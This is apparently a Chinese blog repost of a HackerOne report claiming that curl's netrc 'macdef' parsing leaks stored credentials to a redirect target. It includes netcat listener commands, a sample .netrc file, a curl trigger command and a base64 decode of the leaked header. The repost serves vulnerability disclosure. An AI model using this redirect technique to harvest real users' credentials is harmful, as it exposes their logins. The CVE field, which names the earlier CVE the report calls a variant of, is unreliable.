curl netrc.c 解析漏洞:重定向时凭据泄露的技术分析

本文详细分析了curl netrc.c文件中macdef关键字解析时状态清除不当导致的安全漏洞。攻击者可通过控制重定向,诱使curl将.netrc凭据发送到错误服务器,影响自动化脚本和CI/CD管道安全。

curl | 报告 #3211973 - netrc.c解析macdef时状态清除不当导致重定向凭据泄露

时间线

oxghostly 向curl提交报告
2025年6月20日 10:32 UTC

摘要

  • 解析netrc文件时,macdef关键字未能清除先前加载的凭据。如果发生重定向,这些凭据将泄露到新主机。这是CVE-2024-11053的新变种,由不同代码路径触发(使用’macdef’而非’default’)。
  • 该漏洞通过手动代码分析和测试发现

受影响版本

curl 8.15.0-DEV (x86_64-pc-linux-gnu) libcurl/8.15.0-DEV OpenSSL/3.5.0 zlib/1.3.1 libpsl/0.21.2
发布日期:[未发布]
协议:dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
功能:alt-svc AsynchDNS Debug HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP TrackMemory UnixSockets

重现步骤

  1. 设置两个监听器:

    • nc -l -p 9000
    • echo -e “HTTP/1.1 301 Moved Permanently\nLocation: http://localhost:9000” | nc -l -p 8000 -q 1
  2. 创建(poc_netrc.txt)文件,内容如下:

1
2
3
4
5
6
7
machine localhost
login admin
password SuperSecretPassword123
macdef foobar
echo "malicious macro"
default
login not_admin
  1. 执行curl触发泄露:
1
./src/curl -L --netrc-file poc_netrc.txt http://localhost:8000
  1. 验证凭据泄露:
1
2
echo YWRtaW46U3VwZXJTZWNyZXRQYXNzd29yZDEyMw== > temp_output.txt
base64 -d < temp_output.txt

结果:admin:SuperSecretPassword123

支持材料/参考文献

攻击者服务器终端(监听端口9000)将显示包含localhost凭据的泄露Authorization头,证明凭据在重定向过程中持续存在。

影响

如果攻击者控制重定向,可以诱使curl将受害者的.netrc用户名和密码发送到错误的服务器。这种情况可能在用户不知情的情况下发生,特别是在使用.netrc自动登录的脚本或CI管道中。

附件

  1. netrc-macdef-leak-poc.mkv

后续讨论

bagder (curl工作人员) 2025年6月20日 10:45 UTC
感谢您的报告!我们将花时间调查并尽快回复详细信息和可能的后续问题。

oxghostly 2025年6月20日 15:35 UTC
确认该漏洞也存在于稳定版8.14.1中,可使用相同命令重现。

bagder 2025年6月20日 20:36 UTC
确认为安全漏洞,但严重性级别待定。

jimfuller2024 2025年6月21日 05:11 UTC
建议保持与CVE-2024-11053相同的低严重性级别。

oxghostly 2025年6月21日 12:31 UTC
使用真实场景(Webhook.site)重现漏洞,证明凭据可泄露到攻击者控制的域。

技术讨论要点

  • 漏洞仅在原始域重定向到攻击者站点时发生
  • 仅当macdef宏在netrc文件中正确定义时泄露凭据
  • macdef仅用于FTP(curl不执行此类宏),实际使用场景有限
  • 最终确认为设计行为:netrc文件按主机名提供凭据,与端口号无关

解决方案

curl团队更新文档说明此行为特性,关闭报告为"信息性"。

报告信息

报告时间:2025年6月20日 10:32 UTC
报告者:oxghostly
报告对象:curl
严重性:低 (0.1 ~ 3.9)
披露时间:2025年6月22日 16:26 UTC
弱点类型:通过发送数据的信息暴露
CVE ID:CVE-2024-11053

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计